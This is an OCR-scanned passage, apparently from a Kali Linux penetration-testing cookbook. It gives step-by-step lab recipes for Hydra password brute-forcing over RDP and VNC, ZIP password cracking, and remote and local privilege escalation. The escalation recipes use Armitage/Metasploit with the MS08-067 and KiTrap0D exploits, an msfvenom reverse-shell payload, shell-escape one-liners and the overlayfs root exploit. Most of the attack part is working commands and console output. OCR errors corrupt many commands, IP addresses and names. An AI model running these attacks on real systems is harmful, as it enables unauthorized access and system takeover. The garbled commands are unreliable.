Action Center Computer name, domain, and workgroup settings
Windows Update Computer name: win7-PC B/ Change settings
Performance Information and Full computer name: wind-PC
Tools

Computer description: .

11. Inthe upper- left hand corner, click on Remote settings.

12. On the system properties screen, please make sure that you have the radio button
selected to Allow connections from computers running any version of Remote
Desktop (less Secure) selected. Then click on Select Users... :
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Systemn Properties @

| Computer Name | Hardware | Advanced I System Protection | Remote

Remote Assistance

Allow Remote Assistance connections to this computer

What happens when | enable Remote Assistance?

Remote Desktop
Click an option, and then specify who can connect, if needed.
i Dont allow connections to this computer

(@) Allow connections from computers running any wersion of
Remote Desktop (ess secure)

1 Allow connections only from computers running Remate
Desktop with Network Level Authentication (more secure)

Help me choose

13. From the select user dialog, add vsera and vsers and click OK:

Rernote Desktop Users

The users listed below can connect to this computer, and any members of
the Administrators group can connect even if they are not listed.

@ Userh
@ UserB

win7 already has access.

R

To create new usger accounts or add users to other groups, go to Control
Panel and open User Accounts.

o

move

| oKk | | Ccancel

14. Close out all the remaining dialog boxes.
15. Validate the IP of your Windows machine; for mine, [ am using 192.16s.56.105.
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16. Open a terminal window in Kali by clicking the icon.

17. Now let's run hydra using our known username and wordlist. You will notice that
this does take some time but ultimately you will get the passwords:

| hydra -t 4 -W 1 -1 UserA -P /usr/share/wordlists/rockyou.txt rdp://192.168.56.105

Eoot@kali: usr/share/wordlists# hydra -t 4 -W 1 -1 UserA -P /usr/share/wordlists/rockyou.
txt rdp://192.168.56.105

Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service o
rganizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-67-31 12:59:03

[DATA] max 4 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399),
~56032 tries per task

[DATA] attacking service rdp on port 3389

[STATUS] 114.00 tries/min, 114 tries in 00:01h, 14344285 to do in 2097:08h, 4 active
[STATUS] 117.67 tries/min, 353 tries in 00:03h, 14344046 to do in 2031:45h, 4 active
[STATUS] 118.57 tries/min, 830 tries in @0:07h, 14343569 to do in 2016:10h, 4 active
[STATUS] 118.80 tries/min, 1782 tries in 00:15h, 14342617 to do in 2012:16h, 4 active
[STATUS] 119.29 tries/min, 3698 tries in 00:31h, 14340701 to do in 2003:37h, 4 active
[STATUS] 118.83 tries/min, 5585 tries in 00:47h, 14338814 to do in 2011:07h, 4 active
[STATUS] 119.08 tries/min, 7502 tries in ©1:03h, 14336897 to do in 2006:38h, 4 active
[STATUS] 119.16 tries/min, 9414 tries in 01:19h, 14334985 to do in 2004:56h, 4 active
[STATUS] 119.14 tries/min, 11318 tries in ©1:35h, 14333081 to do in 2005:08h, 4 active
[STATUS] 119.23 tries/min, 13234 tries in ©1:51h, 14331165 to do in 2003:23h, 4 active

Hydra output screen

18. To run the same against VNC, simply replace RDP with VNC:

| hydra -t 4 -W 1 -1 UserA -P /usr/share/wordlists/rockyou.txt vnc://192.168.56.105
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Cracking ZIP file passwords

In this recipe, we will try and crack a ZIP file password.

Sometimes, you will come across ZIP files that have a password on them. Normally, you
can easily crack these passwords with a simple dictionary attack.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali machine is powered up
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How to do it...

We will now crack a ZIP files password and recover it's contents:

1. Open a terminal window in Kali by clicking the icon. .
2. Enter the following commands to create an encrypted ZIP file:

cd

mkdir 6.10

cd 6.10

touch one two three

zip -e numbers.zip one two three

3. When asked for a password, let's use a simple one such as passwora.
4. We will use our rocxyou.txt dictionary file from the past recipes along with crackzip:

| fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.zip

root@kali: # fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.
zip
PASSWORD FOUND!!!!: pw == password
root@kali: # 1
fcrackzip output
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Privilege Escalation

In this chapter, we will cover the following topics:

Establishing a connection as an elevated user
Remotely bypassing Windows UAC

Local Linux system check for privilege escalation
Local Linux privilege escalation

Remote Linux privilege escalation

DirtyCOW privilege escalation for Linux
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Introduction

Now that we have some small foothold in the environment, we will use this foothold to
expand the scope of our breach, increase the admin level, and use lateral movement to
compromise more machines. In most cases, the initial point of a breach is not the
desired target but just a means to get to the more valuable targets. By elevating
privileges it will make your ability to move in the environment much easier.
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Establishing a connection as an elevated
user

In this recipe, we will establish a connection to a remote Windows computer. We will
use the same skills that we learned in previous chapters to make our initial connection
to the computer.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Windows XP VM is powered up
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How to do it...

We will now connect to a Windows machine and elevate that connection to a privileged
level:

1. Validate the IP addresses of your Kali box and your Windows machine—you
should have interfaces on both of your host-only networks on both boxes. In my
case, my Kali VM 1s 192.165.56.10 and my Windows XP VM is 192.168.56.102.

2. Let's ensure we have NetBIOS over TCP enabled in Windows XP. Log in to your
Windows XP VM as an administrator and click on Start | Control Panel | Network
Connections.

3. Right-click on your Local Area Connection and click on Properties:

*. Network Connections E"E|E|
Ay

File Edit Wiew Favorites Tools  Advanced Help ¥

@Back * ) ‘? j: ) search | Folders '

GE

5 d_, Metwork Connections

# LAN or High-Speed Internet

Network Tasks

% 3 ocal Area Connection

& Change Windows
Firewall settings

&) View status of this :
connection Status

Change settings of this R
conneckion

_onnected

Other Places C'?Btﬁ Shartcut

B Contral Parel
& My Network Places
;m My Documents
My Computer

Properties

Details

Local Area Connection
LAN or High-Speed Internet
Connected

Intel(R) PROS1000 T Server
Adapter

IP Address: 192.165.56.102
Subnet Mask: 255,255.255.0

EEsianed oy L)
— e

‘4 Sta *» Network Connections U, % 10:28 PM

Windows network connection screen

4. Click on the Advanced button in the bottom right and then click on WINS at the top,
and ensure Enable NetBIOS over TCP/IP is selected:
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IP Settings | DMS | WINS | Options

WINS addresses, in order of uze:

Add..

If LMHOSTS lookup iz enabled, it applies to all contections for which
TEPAP iz enabled.

[+] Enable LMHOSTS lackup Import LMHOSTS...

MNetBIDS setting

() Default
Use MetBIOS setting from the DHCP server. If static IP address is
uzed or the DHCP server does not provide MetBIDS setting,
enable MetBIOS over TCP/P.

(%) Enable NetBIOS over TCRAP

(") Digable NetBIOS over TCRAP

’ 0K ] ’ Cancel

Advanced TCP/IP settings: WINS

5. Ifit was not selected, click on OK | Close and reboot your Windows XP VM.

6. For the purposes of this book, we will use Armitage, but if you would rather do
everything through the CLI, you may use nstconso1e. We will also clear the database
if there are any hosts displayed in it at this time.

Refer to Chapter 4, Finding Exploits in the Target, for information on starting
Armitage or Metasploit and clearing the database, depending on your
preference.

7. Fromthe Armitage screen, we will click on Hosts | Add Hosts and enter our
Windows XP machine IP address 192.168.56.102 and then click on Add. Click on OK
when it acknowledges that the host was added:
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» (§§ auxiliary
- exploit
» ([iF payload
> @ post

Console X

Armitage View Hosts Attacks Workspaces Help

Add Hosts e ®

Enter one host/line:

192.168.56.102

Armitage: Add Hosts dialog

8. From the top menu, click on Hosts | Nmap Scan | Intense Scan and for the scan
range, enter the IP address of the XP machine and click OK:
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Lo

Armitage e ® 0

Armitage View Attacks Workspaces Help

> [;3 auxiliary Import Hosts
> [;ET exploit
> @ payload
» (B post

Intense Scan

Intense Scan + UDP

Intense Scan, all TCP ports
Clear Database Intense Scan, no ping

= Ping Scan

Quick Scan

Quick Scan (0S detect)

Comprehensive

DNS Enumerate

192.168.

[ Console x]

Armitage: nmap scan

9. Once map 1s finished, you will be presented with a Scan Complete! message; click
OK:
10. From the top menu, click on Attacks | Find Attacks:
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Armitage @ e 0

Armitage View Hosts Plsetldl Workspaces Help

» [ auxiliary Find Attacks
* [ exploit HallMary |
» (& payload
» & post
3

Console X | nmap X

Nmap: | account_used: guest

Nmap: | authentication_level: user

Nmap: | challenge response: supported

Nmap: |_ message_signing: disabled (dangerous, but default)

Nmap: |_smbv2-enabled: Server doesn't support SMBv2 protocol

Nmap: TRACEROUTE

Nmap: HOP RTT ADDRESS

Nmap: 1 0.32 ms 192.168.56.102

Nmap: NSE: Script Post-scanning.

Nmap: Initiating NSE at 22:56

Nmap: Completed NSE at 22:56, 0.00s elapsed

Nmap: Initiating NSE at

Nmap: Completed NSE at 56, 0.00s elapsed

Nmap: Read data files from: fusr/bin/../share/nmap

Nmap: 0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap: Nmap done: 1 IP address (1 host up) scanned in 15.71 seconds
Nmap: Raw packets sent: 1320 (60.544KB) | Rcvd: 1170 (48.608KB)

>

Armitage: main screen
11. Onthe Attack Analysis Complete... screen, click OK.

12. Right-click on the host and click on Attack | smb | msO8 067 netapi:

Message <]

Scan Complete!

Use Attacks-=Find Attacks to suggest
applicable exploits for your targets.

(o]

Armitage: main screen

13. From the Attack dialog, click on Launch:
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Attack 192.168.56.102 e ® O
MS08-067 Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through *
the Server Service. This module is capable of bypassing NX on some operating systems and
service packs. The cerrect taraet must be used to prevent the Server Service (alona witha | ¥

- v

Option 4| Value

LHOST 10.0.2.5 A
LPORT 9914

RHOST + 192.168.56.102

RPORT 445

SMRABPIPE BROWSFR L4
Targets: |0 == Automatic Targeting ﬂ

L) Use a reverse connection

[_J Show advanced options

| Launch |

Armitage: attack dialog screen

14. You will notice that the host now shows you have compromised the device:

Armitage e 0 0

Armitage View Hosts Attacks Workspaces Help
» (5§ auxiliary

> (B exploit
» (B3 payload
» (& post

NT AUTHORITY\SYSTEM @ TEST-01243BC8(9

) > set LPORT 9914
LPORT 1
msf exploi ) > set SMBPIPE BROWSER
SMBPIPE
msf exploit( ) > set RPORT 445
RPORT ==
msf exploit( ) > set RHOST 192.168.56.102
RHOST == 168.56.102
msf exploi ) > exploit -j
[*] Exploit running as background job.
*] Started bind handler
192.168.56.102:445 - Automatically detecting the target...
192.168.56.102:445 - Fingerprint: Windows XP - Service k 3 - lang:English
102.168.56.182:445 - Selected Target: Windows XP SP3 En (AlwaysOn NX)
192.168.56.102:445 - Attempting to trigger the vulnerability...
Sending stage (956991 bytes) to 192.168.56.102

]

]

]

]

]

]

*] Meterpreter session 1 opened (192.168.56.10:417087 -> 192.168.56.102:9914) at 2017-88-16 23:05:42 -04600
sf

[
[
[
[
[ +
[ .
[
msf exploit( ) >

Armitage: main screen
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15. Right-click on the XP host and click on Meterpreter 1 | Interact | Meterpreter Shell:

Armitage @ 00

Armitage View Hosts Attacks Workspaces Help

» (B auxiliary
» (B exploit
» (& payload
L @ post

Services

Interact
Explore
Host Pivoting
ARP Scan...

Kill

Command Shell
Meterpreter Shell
Desktop (VNC)

Scan

Console X | nmap X [ éx.pl.r.:_l.t J(_]
= it( ) > set LPORT 9914 "
) > set SMBPIPE BROWSER

L ) > set RPORT 445
RPORT => 445
msf exploit( ) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
_;F exploit( ) = exploit -j
Exploit running as background job.

bind handler

56.102:445 - Automatically detecting the target...
.56.182:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
.182:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
56.102:445 - Attempting to er the vulnerability...
] Sending stage (956991 bytes) to 192.168.56.182
] Meterpreter session 1 opened (192.168.56.18:41787 -> 192.168.56.182:9914) at 2017-88-16 23:85:42 -08400 v
exploit( ) >

Armitage: main screen

16. From the shell, enter getuia to see who is currently logged in — you will notice you
have system-level privileges:
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Applications «

Armitage (— IO I )

Armitage View Hosts Attacks Workspaces Help

¥ (& exploit
v [E; windows
¥ (& local
|| adobe_sandbox_adobec_/
| 1 agnitum_outpost_acs
| always_install_elevated
| applocker_bypass
| 1 ask 52.168.56.162
™ bthpan NT AUTHORITY\SYSTEM @ TEST-01243BC8(9
B bypassuac
| bypassuac_eventvwr
| bypassuac_fodhelper
bypassuac_injection
bypassuac_vbs
Capcom_sys_exec

> getuid
rname: NT AUTHORITY\SYSTEM

Armitage: main screen
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Remotely bypassing Windows UAC

In this recipe, we will establish a connection to a remote Windows computer. We will
then bypass User Account Control (UAC) to gain elevated permissions. The UAC is
part of windows attempt to harden itself from remote attack by prompting the user to
confirm potential escalated privileges requests.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Windows XP VM is powered up
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How to do it...

We will remotely bypass Windows UAC to elevate privileges:

1. Validate the IP addresses of your Kali VM and your Windows VM — you should
have interfaces on both of your host-only networks on both boxes. In my case, my
Kali device is 192.168.56.10 and my Windows XP device is 192.168.56.102.

2. Open a terminal window by clicking the terminal icon: .
3. We will quickly create a payload file with mstvenom by typing the following
command:

| msfvenom -p Windows/meterpreter/reverse tcp lhost=192.168.56.10 lport=8443 -f exe > /roc

root@kali: ~ (- IO ]

File Edit View Search Terminal Help

root@kali:~# msfvenom -p windows/meterpreter/reverse tcp lhost=192.168.56.10 lpo*
rt=8443 -f exe > /root/exploit.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad

No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 333 bytes

Final size of exe file: 73802 bytes

root@kali:~# ]

Kali: Terminal output
4. Once the payload is created, move it to your target machine.

5. Login to your target machine as a standard user. In my case, [ will be logging in as
Jane poe. YOU can open Command Prompt and use the quinsta command, or on later
versions of Windows, you can use the wnoani command, similar to Linux systems:

The quinsta command and the whoami command provide information about
the currently logged in session. The qwinsta has been used since the early
days of Windows. The wnoami command was a standard command used in
Linux environments for years and was ultimately adopted by more recent
versions of Windows.
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TN . W e

cv C:\WINDOWS\system32\command.com

JME™1 ~JANEDO™ a u
ONNAME d E ID STATE TYPE DEVICE l
] E B Active wdcon

\DOCUME™~1 ~JANEDO"1 >

] l" start cn CWINDOWSH,

Windows: Command Prompt
6. Let's start a listener in Armitage for the payload we just copied over.

Refer to Chapter 4, Finding Exploits in the Target, for more information on
creating listeners.

7. From the Armitage main screen, select Armitage | Listeners | Reverse (wait for):
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Armitage o0

Eulelel) View Hosts Attacks Workspaces Help
New Connection
Preferences ‘
Set Target View >
Set Exploit Rank >

SOCKS Proxy.

WS ;- (connect to)

SCripts... Reverse (wait for) §

Close Set LHOST..

Armitage: main screen

8. Set the Port to s443 and the Type as meterpreter, and click on Start Listener:

Create Listener @ ® ©

Port: 8443
Type: meterpreter ¥

| Start Listener

Armitage: create listener dialog

9. From your Windows machine, launch the expioit.exe file by double-clicking on it:
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My Documents

wr
-

My IComputer

exploit

"4y %) 6:50 AW

Windows main screen: launching exploit

10. You will now notice that we see the device exploited and a session has been
created:
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Armitage e ® 0
Armitage View Hosts Attacks Workspaces Help
» i auxiliary
» [ exploit
» [ payload
* i post

192.168.56.1682
TEST-081243B(8C9\Jane Doe @ TEST-681243BCHCY

Console X | exploit X

msf exploit( ) > set ExitOnSession false
ExitOnSession => false
msf exploit( ) > exploit -j
*] Exploit running as background job.

Started reve

] Sending stage .

Meterpreter sess 18443 -> 192.168.56.102:10832) at 2017-08-17 06:50:15 -0400

meterpreter > sessions

Active sessions

Id Type Information Connection

| meterpreter x86/windows TEST-01243B(8(9\Jane Doe @ TEST-01243B(B(9 192.168.56.10:8443 -> 192,168.56.102:1032
(192.168.56,102)

msf exploit(

Armitage: main screen

Right-click on the exploited machine and select Meterpreter 1 | Interact |
Meterpreter Shell:
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L Armitage @ ® ©
Armitage View Hosts Attacks Workspaces Help

» S auxiliary
» | exploit

* [ payload
» | post

Services
TEST-01243BC8C9\ Jane il

Host

Command Shell

Meterpreter Shel

Desktop (VNC

-

Console X | exploit x‘[

msf exploit( ) > set ExitOnSession false
ExitOnSession => false
msf exploit( ) > exploit -j
*] Exploit running as background job.
Started reverse TCP handler on 0.0.0.0:8443
Sending stage (956991 bytes) to 192.168.56.102
Meterpreter session 1 opened (192,168.56.10:8443 -> 192,168.56.102:1032) at 2017-88-17 06:50:
meterpreter > sessions

Active sessions

1d Type Information Connection

1 meterpreter x86/windows TEST-01243B(8C9\Jane Doe @ TEST-81243BCBC9 192.168.56.10:8443 -> 192,168.56.102:1032
(192.168.56.162)

msf exploit(

Armitage: main screen

12. From the meterpreter console, enter the following commands. You will notice that I
am logged in as sane noe and I do not have the privileges to run the gecsysten
command:

getuid

sysinfo
getsystem

Console X | exploit X | Meterpreter1 X |

meterpreter > getuid
Server username: TEST-812 (8C9\Jane Doe

meterpreter > sysinfo

Computer TEST-01243BC8C9

05 Windows XP (Build 2608, Service Pack 3).
Architecture xB6

System Language : en US

Domain WORKGROUP

|:_‘I§ql]|*l! On Users : 2

Meterprete| xB6 /windows
meterpr getsystem
priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)

meterpreter >
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Armitage: meterpreter console

13. To bypass UAC controls, on the left, select exploit | Windows | local |
ms10 015 kitrapOd:

Armitage View Hosts Attacks Workspaces Help

- i

» (@ imap »
* [ isapi

» [ dap

* [ license

v @ local N

[] adobe_sandbox_ado_/

agnitum_outpost_ac
| | always_install_elevat)
__| applocker_bypass

ask
_] bthpan

yp

bypassuac_eventvwi
L1 bypassuac_fodhelpef
| | bypassuac_injection v

Armitage e ® 0

Armitage: main screen

14. In the dialog box, validate that the session correctly identifies the nst session you
are currently working with (in my case, 1), and the LHOST reflects the IP address
of the interface on the same subnet as your Windows machine, and then click on

Launch:

windows/local/ms10_015_kitrapOd e ® O
Windows SYSTEM Escalation via KiTrap0D

This module will create a new session with SYSTEM privileges via the KiTrap0D 4
exlpoit by Tavis Ormandy. If the session is use is already elevated then the
exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported

an wBA aditinne oF Wnd e X
Option 4| Value

UlsanLePayloaaHanuler frue i
ExitOnSession false

LHOST 192.168.56.10

LPORT 3278

PAYLOAD + windows/meterpreter/reverse_tcp

Targets: |0 => Windows 2K SP4 - Windows 7 (x86) |¥|

. Show advanced options

| Launch |

Armitage: exploit options screen

15. You will then see a successful exploit and a new session opened:
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| Console X | exploit X [windows{locaUmslo_OIS_kltrapod X | Meterpreter 2 X |

msf exploit( ) > set DisablePayloadHandler true

DisablePayloadiandler => true

msf exploit( ) > exploit -j

[*] Exploit running as background job.
Launching notepad to host the exploit...

] Process 272 launched.

] Reflectively injecting the exploit DLL into 272...
Injecting exploit into 272 ...

] Exploit injected. Injecting payload into 272...

] Payload injected. Executing exploit...

] Exploit finished, wait for (hopefully privileged) payload execution to complete.

terpreter session 2 opened (192.168.56.10:3278 -> 192,168.56.102:1039) at 2017-88-17

120115 -0400
msf exploit( ) >

Armitage exploit screen

16. Select this new session by right-clicking on the Windows machine and selecting

Meterpreter 2 | Interact | Meterpreter Shell:

Armitage

Armitage View Hosts Attacks Workspaces Help

I - Q!apcom_sys_exec ’l

0 current_user_psexec
ikeext_service
ipass_launch_app |
lenovo_systemupdate 4
mgac_write

B ms10 015 kitrapod

ms10_092_schelevator

Meterpreter 2 b

msll 080 _afdjoinleaf TEST-01243B(8(9\] r
L a & Explore
_1ms13 005 _hwnd broadcast Pivoting
[1 ms13 053 schlamperei & E«.F@ e

el ANL besale oasiun eoon

Kill

aw

| Console X . exploit X [wl|1dcwsﬂoca#mslﬁ_ﬁls_kl.trapr}d x]

msf exploit( ) > set DisablePayloadHandler true
DisablePayloadHandler = true
msf exploit( ) > exploit -j
*]1 Exploit running as background job.
Launching notepad to host the exploit...
] Process 272 launched,
Reflectively injecting the exploit DLL into 272...

Injecting exploit into 272 ...

| Exploit injected. Injecting payload into 272...
Payload injected. Executing exploit...

] Exploit finished, wait for (hopefully privileged) payload execution to complete.
Meterpreter session 2 opened (192.168.56.10:3278 -> 192.168.56.102:1639) at 2017-68-17 87:26:15 -0460

exploit( ) >

Armitage: main screen

Command Shell
Meterpreter Shell
Desktop (VNC

17. Now let's rerun the previous commands. You will notice that I am logged in as

systen and I do have the privileges to run the getsystem command:

getuid
sysinfo
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getsystem

|.. Console X ] exploit X | windows/localims10 015 _kitrap0d X IMeterpretefZ x]

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer TEST-81243BC8(9
0S Windows XP (Build 2688, Service Pack 3).
Architecture x86

em Language : en_US

ain WORKGROUP

Logged On Users : 2
Meterpreter Xx86/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter >

Armitage: meterpreter console
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Local Linux system check for privilege
escalation

In this recipe, we will use a Python script to check the system for vulnerabilities that
could lead to privilege escalation.
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Getting ready

Let's ensure the following prerequisites:

e Your Metasploitable machine is connected to the NAT network (remove it
immediately after this lab)
e Your Metasploitable machine is powered up
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How to do it...

In this recipe we will try and discover a vulnerability that will allow us to escalate
privileges in linux:

1. Login to the Metasploitable machine with the username rstaamin and password

msfadmin.

2. From the terminal prompt of the Metasploitable machine, run the following
commands:

cd <enter>

wget http://www.securitysift.com/download/linuxprivchecker.py <enter>
python ./linuxprivchecker.py >> vulns.txt <enter>

tail --lines=50 vulns.txt |more <enter>

3. You can now scroll through a list of vulnerabilities that can be used against this
machine to provide privilege escalation:

:*bash

:set shell=rsbinsbash:shell

:thash

:set shell=rbinsbash:shell

awk 'BEGIN {system("/bins/bash”)}’

find » -exec susrs/binsawk "BEGIN {system("/binsbash™)}' N\:
perl -e 'exec "sbinsbash";’

FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

Note: Exploits relying on a compilesscripting language not detected on this
system are marked with a '=x' but should still be tested!?

The following exploits are ranked higher in probability of success because t
his script dttthed a related running process, 05, or mounted file system
< 141 Local Privilege Escalation Exploit ii http:/- uwuw.exploit-db
8572 {11 Language=c
. Local Privilege Escalation Exploit ii http://uww.exploit-db.conve
xploits,B8478 11 Language*c
- My3QL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit i1

http:/ 7wuwu. Etp101t db.comsexploitss1518 11 Language=c

The following exploits are applicable to this kernel version and should be 1
nvestigated as well

Metasploitable console output

4. From here, you can use the exploit DB we learned to use in previous recipes to see
what attacks can be used against the Linux VM for privilege escalation.
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Local Linux privilege escalation

In this recipe, we will use a known exploit to gain elevated privileges for the logged-in
user in Linux. We will have login credentials for a standard user and we will then
escalate their privileges through local account access.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali VM is up and running

e Download and set up Vulnerable OS 2 (VulnOS2) from https//www.vulnhub.com/entry/vuln
0s-2,147/

o Attach the network interface to your host-only network

e Start your VulnOS2 image

Refer to Chapter 1, Installing Kali and the Lab Setup, if you need assistance
0 setting up the VM in VirtualBox.
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How to do it...

We will now elevate privileges in Linux:

1. Start by finding the IP address of the VulnOS2 image — we can use a simple nnap

scan to find it. Open a terminal window by clicking on the terminal icon..
2. Enter the following commands to run a quick nmap for the host-only network of

192.168.56.0/24.

| nmap -T4 -F 192.168.56.0/24

3. From our output, we can see that the address of the machine is 192.168.56.104:

root@kali: ~ o

File Edit View Search Terminal Help
root@kali:~# nmap -T4 -F 192.168.56.0/24

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-19 03:28 EDT
Nmap scan report for 192.168.56.1

Host is up (0.00027s latency).

Not shown: 97 closed ports

PORT STATE SERVICE

21/tcp open ftp

88/tcp open kerberos-sec

5900/tcp open vnc

MAC Address: 0A:00:27:00:00:00 (Unknown)

Nmap scan report for 192.168.56.100

Host is up (-0.088s latency).

ALl 100 scanned ports on 192.168.56.100 are filtered

MAC Address: ©08:00:27:B8:4C:C5 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.104

Host is up (0.00042s latency).

Not shown: 98 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

MAC Address: ©8:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.10
Host is up (0.0000040s latency).
All 100 scanned ports on 192.168.56.10 are closed -

Kali console output

We are going to use this exploit through SSH access to the device. Local
access to the device will work; however, the person who designed the VM
used the AZERTY keyboard layout, so you will have to adjust for that if
you want to do it locally. As this layout assumes a different keyboard
layout you will not be able to simply type as you normally would. The
creators intention for this is that as a penetration tester you have to be
aware that different users or computers may provide unfamiliar
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environments to you that you would have to adjust to.

4. Let's SSH to the device and use the credentials that we found through other means.
From the Kali command terminal window, enter the following:

| ssh webmin@192.168.56.104

The username is weomin and the password is webminigso. If you are asked
whether to continue connecting, select yes. If you were given an error
stating that the remote host identification has changed, you can clear your
known hosts by typing rm /root/.ssh/known hosts <enter> from the console and
trying to SSH again.

5. Now assuming we used the previous recipe, Local Linux system check for
privilege escalation, we could find that this system is vulnerable to exploit s7292.

6. Open Firefox and go to https:/www.exploit-db.com/exploits/37292/. Review the details of the
exploit and click on View Raw and copy its contents to the clipboard:

Vulnerability 37292 (CVE-2015-1328) overlayfs is a vulnerability
affecting Ubuntu where it does not do proper checking of file creation in
the upper filesystem area. Exploiting this can lead to root privilege.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs' Privilege Escalation - Mozilla Firefox [— IO )
& Linux Kernel 3.13.0< .. x | New Tab = +
€ | @ @& | https://www.exploit-db.com/exploits/37292 E1| ¢ Search T B8 4+ A& O =

Ml Cffensive Security “& Kali Linux & Kali Docs " Kali Tools = Exploit-DB WyAircrack-ng gllKali Forums “& NetHunter [&Most Visitedw

ExnprlnnnIESE Home Exploits Shellcode Papers Google Hacking Database Submit I

» Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10
/15.04) - 'overlayfs' Privilege Escalation

EDB-ID: 37292 Author: rebe Published: 2015-06-16
CVE: CVE-2015-132 Type: Platform: Linux
Aliases: ofs, ofs.c, overlayfs  Advisory/Source: N/A Tags: N/A
E-DB Verified: & Exploit Vulnerable App: N/A
iy s
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.84, 14.04, 14.10, 15.04 (Kernels before 2015-86-15)
# Tested on: Ubuntu 12.84, 14.84, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical. com/~ubuntu-security/cve/2815/CVE-2015-1328.html)

Firefox: exploit database

7. Fromthe SSH session, enter the following;
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cd <enter>
touch 37292.c <enter>
nano 37292.c <enter>

8. Paste the contents of the clipboard, exit nano, and save the file:

GNU nano 2.2. ’ Modified

(fd == -1) {
fprintf(stderr, );
exit(-1);
}

fprintf(stderr, ):

fprintf(stderr, );

lib = open( ,0_CREAT |0_WRONLY,0777);

write(lib,LIB,strlen(LIB));

close(lib);

1lib = system( )i

(lib 1= 0) {

fprintf(stderr, Vi
exit(-1);

}

write(fd, 1B

close(fd);

system( ) ;

execl( i ,NULL);

i

K¢ Get Help @ WriteOut @3 Read File @ Prev Page @y Cut Text |8 Cur Pos
By Exit g Justify @l Where Is @Y Next Page gij UnCut Textgg] To Spell

nano editor screen

9. Now we must compile the C code by entering the following—also note that we are
logged in as weonin and the shutdown command fails:

cd <enter>

gcc 37292.c -o 37292 <enter>
whoami <enter>

shutdown -h now <enter>

10. Now let's run the exploit by entering the following:

cd <enter>
./37292 <enter>
whoami <enter>

11. You will now notice that you are the root user:
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$ whoami

webmin

$ ./37292

spawning threads

mount #1

mount #2

child threads done
/etc/ld.so.preload created
creating shared library
# whoami

root

#

Console output screen
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Remote Linux privilege escalation

In this recipe, we will use Metasploit against the Metasploitable VM to raise the
privileges of the user.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali VM is up and running
e Your Metasploitable VM is up and running and on the host-only network
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How to do it...

In this recipe we will remotely elevate privilege on a Linux device:
1. First, let's log in to the Metasploitable VM and add a standard user.

Metasploitable's default username is nsfadmin and password nsfadmin.

2. From the console, enter the following commands to add a user and validate the IP
address of the Metasploitable host:

cd <enter>

ifconfig <enter>

sudo useradd -m user7 <enter>
msfadmin <enter>ex

sudo passwd user7 <enter>
password <enter>

password <enter>

exit <enter>

msfadnin@metasploitable:™5 sudo useradd -m user? -p passuword
msfadmin@netasploitable: ™5 exit
logout

Warning: Never expose this UM to an untrusted netuwork!?
Contact: msfdevliatlmetasploit.com

Login with msfadminsnsfadmin to get started

metasploitable login: _

Metasploitable console
3. FromKali, let's start Armitage.

Refer to Chapter 4, Finding Exploits in the Target, for information on starting
Armitage.
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4. From Armitage, add the Metasploitable VM, in my case 192.165.56.105, by clicking
on Hosts | Add Hosts:

Armitage e ® O

Armitage View
v E.L exploit
¥ (& linux

L3 ¥ (& local

bp

ls(3&8 Attacks Workspaces Help

Import Hosts
Add Hosts...

Nmap Scan >
MSF Scans...
DNS Enumerate

Clear Database

|1 hp_smhstart
L1 kloxo_Ixsuext
| netﬁlter_priv}
|1 ntfs3g_priv_¢
|1 overlayfs_pri
|| pkexec

|_] recvmmsg_p

1 service_persih‘,

Armitage: main screen

5. Fromthe Add Hosts dialog box, enter your Metasploitable VM's IP address and
click on Add. Click on OK on the confirmation dialog box:

Add Hosts o ® O

Enter one host/line:

192.168.56.105]

| Add |

Armitage: Add Hosts dialog box

6. Run a quick scan against the device by selecting the host and then clicking on Hosts
| Nmap Scan | Intense Scan. Ensure the IP address of your VM is populated in the
input screen and click on OK:

Input [ ]
— Enter scan range (e.g., 192.168.1.0/24):
192.168.56.105
| Cancel | | OK
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Armitage: Input dialog box

7. Once the scan is complete, click OK in the Scan Complete dialog box.

8. Now click on Attacks | Find attacks from the top menu and click on OK 1n the
Attack Analysis Complete... dialog box.

9. Now let's log in with Telnet to the Metasploitable machine with the username and
password that we have by right-clicking on the host and selecting Login | telnet:

Armitage @ e 0

Armitage Wiew Hosts Attacks Workspaces Help
|7 (& exploit A
v ﬁ linux
- ﬁ‘ local

' bpf_priv_esc

|1 cron_persiste r i
I desktop pri | Attack e

Login >

|| docker_daem .
|1 hp_smhstart 0yl Services
| Scan

Host

L1 kloxo_lxsuex
1 netfilter_priv
